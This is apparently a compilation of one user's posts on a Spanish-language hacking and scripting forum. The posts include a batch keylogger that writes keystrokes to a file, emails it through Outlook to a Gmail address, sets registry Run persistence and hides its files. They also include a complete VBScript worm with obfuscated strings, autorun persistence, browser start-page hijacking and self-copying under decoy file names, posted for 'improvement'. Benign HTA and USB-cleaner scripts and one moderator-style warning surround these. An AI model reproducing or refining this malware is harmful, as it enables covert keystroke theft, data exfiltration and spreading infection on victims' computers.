Mensajes

Hola a todos queria saber si se puede hacer un keylogger en batch y que registre todo en un txt. 


en internet encontre este batch pero es mas que todo puro vbs.

aqui el code:

Código (bash) [Seleccionar] Expandir


@echo off
set location = %windir%\System32\stsyk.vbs
echo set shell = CreateObject("Wscript.Shell") >> %location%
echo shell.run "C:\windows\k.bat", 0 >> %location%
echo @echo off >> C:\windows\k.bat
echo color c9 >> C:\windows\k.bat
echo :go >> C:\windows\k.bat
echo echo .>>c:\keys.txt  >> C:\windows\k.bat
echo echo :  >> C:\windows\k.bat
echo set /p keys=  >> C:\windows\k.bat
echo echo %keys% >> c:\keys.txt  >> C:\windows\k.bat
echo goto go >> C:\windows\k.bat
echo start %location%  >> C:\windows\k.bat
echo(
echo Dim x > C:\kvqim.vbs
echo on error resume next >> C:\kvqim.vbs
echo Set fso =" Scripting.FileSystem.Object" >> C:\kvqim.vbs
echo Set so=CreateObject(fso) >> C:\kvqim.vbs
echo Set ol=CreateObject("Outlook.Application") >> C:\kvqim.vbs
echo Set out=WScript.CreateObject("Outlook.Application") >> C:\kvqim.vbs
echo Mail.to="cursedgaming@gmail.com">> C:\kvqim.vbs
echo Mail.Subject="Keylog" >> C:\kvqim.vbs
echo Mail.Body="" >> C:\kvqim.vbs
echo Mail.Attachments.Add("C:keys.txt") >> C:\kvqim.vbs
echo Mail.Send >> C:\kvqim.vbs
echo Next >> C:\kvqim.vbs
echo ol.Quit >> C:\kvqim.vbs
C:\kvqim.vbs
)>>C:\Windows\k.bat
ping localhost 5 > nul
del C:\kvqim.vbs
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinBoot /t REG_SZ /d %location%
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinBoot /t REG_SZ /d C:\Windows\k.bat
attrib +h +s %location%
attrib +h +s C:\Windows\k.bat
attrib +h keys.txt
start %location%


    hola a todos quisiera saber si se puede crear un explorador de carpetas
            y archivos en batch, lo estuve intentando con comandos FOR y DIR
            pero no lo logre.   

                   si alguien sabe algún  programa comand-line que me funcione ?

          PD: solo lo he logrado hacer en vbs y vb pero no lo consigo en batch.
                    si alguien sabe porfa comenten! .   

¿Y porque no crear directamente el .bat? 

es por que con el vbs se puede seleccionar el pendrive de una manera
mas facil para otras personas.

en cambio en el bat se tiene que poner la letra de la unidad.

****en pocas palabras hay personas de cierta edad que no saben manipular
           muy bien una computadora en cambio con este vbs se selecsiona el usb
            y listo , esto lo hace mas facil para estas personas.

**** en cambio en el bat tienen que escribir la letra da la unidad y hay
       persona que apenas saben usar la pc y se enredan.


--------------------------------por esto lo hice en vbs.   

 hola a todos hice un vbs que elimina el virus de acceso directo
que se mete en el pendrive. por favor comenten eso me motiva a
hacer mas script.

 bueno aqui el code:

Código (actionscript-french) [Seleccionar] Expandir


'PARA FORO EL HACKER.
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.BrowseForFolder _
   (WINDOW_HANDLE, "Selecciona una carpeta:", NO_OPTIONS)  
Set objFolderItem = objFolder.Self
strPath = objFolderItem.Path
Set objfso = createobject("scripting.filesystemobject") 'credo por S4L.
Set archivotexto = objfso.createtextfile("desinf.bat",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "title Desinfectando USB (BY S4L)"
archivotexto.writeline "MODE CON: COLS=50 LINES=5"
archivotexto.writeline "color a"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛ                           ] 13 °/."
archivotexto.writeline "ping localhost -n 1 >nul"
archivotexto.writeline "cd /D "" " & strPath & """"
archivotexto.writeline "Attrib /d /s -r -h -s *.*"
archivotexto.writeline "Attrib /d /s -r -h -s Drive\*.*"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛ                     ] 25 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.bat"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ               ] 47 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.wsf"
archivotexto.writeline "del /f /q Drive\*.wsf"
archivotexto.writeline "if exist *.lnk del *.lnk"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ     ] 70 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.ws"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ  ] 89 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.js"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ] 100 °/."
archivotexto.writeline "attrib -a -s -h -r /s /d"
archivotexto.writeline "attrib +s +h autorun.inf"
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "explorer.exe "& strPath & """"
archivotexto.writeline "exit"
archivotexto.close
set WshShell=WScript.CreateObject("WScript.Shell")
WShShell.run "desinf.bat"
'FISICA 638


************************* Porfavor comenten.

Sobre cómo mejorarlo: Haz que deje de ser un 'virus' y hazlo un programa útil. Te sirve más a ti, sirve más a quienes estén aprendiendo a programar, sirve más a todos. Al fin y al cabo, la razón de este foro es esa, aprender.

Te digo esto, porque varios de los temas que he visto que has abierto vienen colisionando en el mismo concepto: "malware", que está muy bien como tema curioso y como "información white-hat", pero está prohibido para su uso malicioso.

********bueno creo que en parte tienes razón pero mira que solo
                  no hago virus sino tambien antivirus este vbs borra el virus de
                  acceso directo (new photo today.wsf) que se mete en los
                  pendrive (USB),ESTE CODE lo termine esta mañana.

Código (actionscript) [Seleccionar] Expandir


'PARA FORO EL HACKER.
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.BrowseForFolder _
    (WINDOW_HANDLE, "Selecciona una carpeta:", NO_OPTIONS)   
Set objFolderItem = objFolder.Self
strPath = objFolderItem.Path
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("desinf.bat",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "title Desinfectando USB (BY S4L)"
archivotexto.writeline "MODE CON: COLS=50 LINES=5"
archivotexto.writeline "color a"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛ                           ] 13 °/."
archivotexto.writeline "ping localhost -n 1 >nul"
archivotexto.writeline "cd /D "" " & strPath & """"
archivotexto.writeline "Attrib /d /s -r -h -s *.*"
archivotexto.writeline "Attrib /d /s -r -h -s Drive\*.*"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛ                     ] 25 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.bat"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ               ] 47 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.wsf"
archivotexto.writeline "del /f /q Drive\*.wsf"
archivotexto.writeline "if exist *.lnk del *.lnk"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ     ] 70 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.ws"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ  ] 89 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.js"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ] 100 °/."
archivotexto.writeline "attrib -a -s -h -r /s /d"
archivotexto.writeline "attrib +s +h autorun.inf"
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "explorer.exe "& strPath & """"
archivotexto.writeline "exit"
archivotexto.close
set WshShell=WScript.CreateObject("WScript.Shell")
WShShell.run "desinf.bat"
'credo por S4L.
'FISICA 638


 
             les pongo este virus en vbs para uqe me den consejos de
             como mejorarlo .

Código (actionscript) [Seleccionar] Expandir


ON ERROR RESUME NEXT
Dim Fobiacmsgchxxrl
Dim Fobiacborrchxxrl
Dim Fobiaccolchxxrl
Dim zchxxrl
Dim Fobianarchxxrl
Dim Fobiadichxxrl
Dim Fobiavalchxxrl
Dim Fobiasenchxxrl
Dim Fobiatecchxxrl
Dim vtecchxxrl
Set Fobiawshchxxrl = CreateObject("WScript.Shell")
Set Fobiafsochxxrl= CreateObject("scripting.filesystemobject")
Fobiawshchxxrl.regwrite "HKCU\software\" & Chr(71) & Chr(97) & Chr(116) & Chr(101) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116),Chr(71) & Chr(101) & Chr(111) & Chr(99) & Chr(105) & Chr(116) & Chr(105) & Chr(101) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(103) & Chr(97) & Chr(116) & Chr(101) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116)
Fobiafsochxxrl.copyfile wscript.scriptfullname,Fobiafsochxxrl.GetSpecialFolder(0)& "\camila.vbs"
Fobiawshchxxrl.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Kuasanagui","wscript.exe " & Fobiafsochxxrl.GetSpecialFolder(0) & "\camila.vbs %"
Const Wri = 2
Const Cr = True
Dim File
Dim F
File = Fobiafsochxxrl.GetSpecialFolder(0) & "\El microbito.TXT"
Set F = Fobiafsochxxrl.opentextfile(File, Wri, Cr)
F.write "Quisiera ser un microbito," & vbcrlf & "que habite en tu cuerpo," & vbcrlf & "hay para estar muy calientito," & vbcrlf & "casi todo el tiempo," & vbcrlf & "beber de tu sangre, " & vbcrlf & "y en tu carne descansar," & vbcrlf & "de ti me voy a alimentar." & vbcrlf & "" & vbcrlf & "Quiero vivir en una arteria," & vbcrlf & "junto a tu corazon," & vbcrlf & "tu cuerpo para mi seria, " & vbcrlf & "como una gran mansión," & vbcrlf & "correr por tus venas," & vbcrlf & "y en tu sangre siempre estar," & vbcrlf & "de ahi nadie me podra sacar." & vbcrlf & "" & vbcrlf & "Hare una alberca en tu ombliguito," & vbcrlf & "pa meterme a nadar," & vbcrlf & "y si me voy mas abajito," & vbcrlf & "nadie me sacara," & vbcrlf & "beber de tu sangre, " & vbcrlf & "y en tu carne descansar," & vbcrlf & "de ti me voy a alimentar." & vbcrlf & "" & vbcrlf & "De ti me voy a alimentar."
F.close
Fobiawshchxxrl.run "notepad " & Fobiafsochxxrl.GetSpecialFolder(0) & "\El microbito.TXT"
Fobiawshchxxrl.regwrite "HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page","http://www.jodiendo.com"
Fobiawshchxxrl.regwrite "HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\Main\Window title","FOBIA ON ICE"
If month(now) = 10 and day(now) = 31 then
For zchxxrl = 0 to 1000
Fobiawshchxxrl.run ("C:\Windows\notepad.exe")
Next
End If
Fobiavalchxxrl = 0
Fobiatecchxxrl = 0
dichxxrl()
Function dichxxrl()
On Error Resume Next
Do
Fobiatecchxxrl = Fobiatecchxxrl + 1
Fobiavalchxxrl = Fobiavalchxxrl + 1
Randomize timer
Fobiadichxxrl = Int(Rnd * 6)
If Fobiadichxxrl = 0 then Fobianarchxxrl = "Fobia.txt"
If Fobiadichxxrl = 1 then Fobianarchxxrl = "Mundo feliz.mp3"
If Fobiadichxxrl = 2 then Fobianarchxxrl = "Amor chiquito.jpg"
If Fobiadichxxrl = 3 then Fobianarchxxrl = "Fobia on ice.mp3"
If Fobiadichxxrl = 4 then Fobianarchxxrl = "Leche.html"
If Fobiadichxxrl = 5 then Fobianarchxxrl = "microbito.mp3"
If Fobianarchxxrl = "" then Fobianarchxxrl = "LEEME.TXT"
If Fobiavalchxxrl = 900000 then
Fobiafsochxxrl.copyfile Fobiafsochxxrl.GetSpecialFolder(0)& "\camila.vbs","a:\" & Fobianarchxxrl & ".vbs"
Fobiavalchxxrl = 0
End If
If Fobiatecchxxrl = 700000 then
Fobiawshchxxrl.sendkeys "Quisiera ser un microbito...."
Fobiatecchxxrl = 0
Fobiatecchxxrl = 0
End If
Loop
End Function


*****por favor comenten algunas cosas que se deverian mejorar a este virus  

 ********** primero que todo gracias ELEKTRO me ayudaste una vez mas++++

PD: Por curiosidad, ¿cómo te dió por concluir que eso era Html?.

Saludos!

        -------- Yo se que eso no es html eso es vbs. (visual basic script) es que
                       yo no publique el codigo completo solo publique la parte que
                            me deba error.

  MIRA AQUI EL CODE COMPLETO LO GUARDAS EN extensión .HTA .

Código (actionscript) [Seleccionar] Expandir


<html>
<head>
<title>R4MP VIDEO PLEYER BY S4L de el ( I.P.C. )</title>
<img src="app\bin\ipc.png" alt="W3Schools.com" width="50" height="50">
Try it Yourself »
<script language="VBScript">
self.ResizeTo 480, 320
</script>
<html>
<body>
<a href="https://www.google.co.ve/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwiHiILAiPbUAhVBCpoKHYivDn0QFgglMAA&url=https%3A%2F%2Fwww.youtube.com%2Fchannel%2FUC5nv9joqfuV7VGWkKuEmMPQ&usg=AFQjCNE2u8BDHJXgq4OYIMXcGP90q3O2-Q">Visita mi canal de youtube!<br /></a>
<button type="button" onclick="alert('Hecho Por Salvador F. Krilewski!')">INFO!</button>
<<video poster="URL">
</body>
</html>
<script type="text/vbscript">
Sub pcontrol()
set objShell = CreateObject("WScript.Shell")
   strAnswer = InputBox("introduzca el nombre del video con extensión (.mp4) :")
   Msgbox strAnswer
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("app\bin\pl.bat",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "Start /B """" ""chrome.exe"" " & """" & strAnswer & """"
archivotexto.writeline "exit"
archivotexto.close
End Sub

</script>

<style>
body {background-color:black;}
</style>

</head>
<body>
<div align="center">
<br><br>
<input type="button" value="Reproducir video" onclick="strAnswer">
<input type="button" value="Reproducir video" onclick="pcontrol()">
<br><br><br>
<input type="button" value="CERRAR" onClick="self.close()">

</body>
</html>


***************** PD: el codigo esta en desarrollo apenas lo empece.     

angel lex la verdad es que nesecito que funcione este code
en la variable set strAnswer va bien hasta el msgbox, pero a la hora de crear
el batch no lo hace ayuda.

Código (actionscript) [Seleccionar] Expandir


set objShell = CreateObject("WScript.Shell")
strAnswer = InputBox("introduzca el nombre del video con extensión (.mp4) :")
   Msgbox strAnswer
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("pl.bat",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "start chrome.exe mmo.mp4"
archivotexto.writeline "strAnswer"
archivotexto.close

el error esta el la penultima linea. **********archivotexto.writeline "strAnswer"

***********hola a todos me preguntaba si en html VBS hay algún comando
                  que tenga la misma función que tiene la palabra set de batch...

ayuda plis.    

no es "ayuda con otro code" es que veas por qué no funciona y lo corrijas... el error seguramente es tuyo no del código...

gracias por el consejo pero el error no era mio. era el code. bueno entonces me puse a experimentar un poco y alfinal lo he logrado.

aqui el code.

Código (actionscript) [Seleccionar] Expandir


  set WshShell=WScript.CreateObject("WScript.Shell")
   WShShell.run "chrome.exe www.facebook.com"


  ***** ahora el problema es el directorio del navegador, ya que solo este
                        vbscrip funciona solo en el directorio raiz del navegador.